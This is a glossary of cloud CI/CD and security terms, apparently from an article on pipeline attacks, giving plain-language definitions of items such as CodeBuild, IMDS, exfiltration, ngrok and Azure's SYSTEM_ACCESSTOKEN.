- Cache: a store of things kept for speed; if unlocked, others can take from it.
- CI/CD: continuous integration and continuous delivery, the automation that builds, tests and ships software.
- CloudBuild: Google's cloud build service.
- CodeBuild: Amazon's cloud build service.
- CodePipeline: Amazon's service that chains build stages together.
- Comment Control: a GCP feature where a collaborator must comment
/gcbrunbefore a PR build runs. - Config file: a plain text file that tells a program what to do.
- Container: a packaged application with its own filesystem, run in isolation.
- Container image: the packaged files and program that a container runs from.
- Container registry: a library or warehouse of container images.
- Credential: anything that proves identity, such as a password, key or token.
- curl: a command-line tool that fetches a web address and prints the result.
- Dump: to print out all values of something, such as environment variables.
- ECS: Amazon's service for running containers.
- Environment variable: a named value a program can read, like a sticky note on the fridge.
- Enumerate: to list what exists in a system.
- Exfiltration: smuggling data out of a system to a place the attacker controls.
- Fork: a personal copy of someone else's repository.
- GCP: Google Cloud Platform, Google's cloud platform.
- gcloud: Google's command-line tool for managing GCP.
- GitHub Actions: GitHub's built-in automation for running workflows on repository events.
- IAM role: an identity a program can wear inside AWS, with permissions attached.
- IAM policy: a written list of what an identity is allowed to do.
- IMDS: Instance Metadata Service, a local question-and-answer server on a cloud machine.
- Issue: a public discussion thread attached to a repository.
- Jenkins: a popular self-hosted automation server.
- Log: a record of events written automatically by a system.
- Managed Identity: an identity Azure creates and rotates for you.
- Metadata endpoint: a local web server reachable only from the machine, which answers questions about the machine and its credentials.
- Move laterally: to go from one compromised place to other nearby places.
- ngrok: a service that gives a local computer a public web address.
- Path: the part of a web address after the hostname, like an aisle and shelf number.
- Personal Access Token (PAT): a long-lived password-like token a person creates to let tools act as them.
- Pipe (
|): a shell operator that feeds the output of the left command into the right command. - PR (pull request): a proposal to change files in someone else's project.
- Pre_build: the preparation step in a buildspec.
- Referenced file: a file that a config file points to, such as a script it says to run.
- S3: Amazon's file storage service.
- Secrets Manager: Amazon's locked cabinet for passwords and keys.
- Service connection: a saved link between an Azure pipeline and an Azure resource.
- Service role: GCP's identity that a program wears, with permissions attached.
- SIEM: Security Information and Event Management, a system that collects and searches logs.
- Stage: one step in a build pipeline.
- Star: a GitHub bookmark and rough popularity signal.
- STS: Amazon's Security Token Service, which hands out temporary credentials.
- Subscription: the billing and permission boundary for a set of Azure resources.
- Supply chain attack: tampering with something upstream so everyone downstream gets the bad version.
- Suspended account: an account the platform has switched off, usually for breaking its rules.
- SYSTEM_ACCESSTOKEN: an Azure pipelines environment variable that lets build steps talk back to Azure DevOps.
- Tight scope: giving an identity the smallest set of permissions it needs.
- Token: a temporary credential, like a cloakroom ticket.
- UI: user interface, the pages you see in a browser.
- Unit test: a small automatic check that verifies one piece of code works.
- VM: virtual machine, a computer simulated inside a bigger computer.
- YAML: a text format for configuration files that uses indentation to show structure.
/gcbrun: the comment a collaborator types to trigger a GCP CloudBuild run under Comment Control.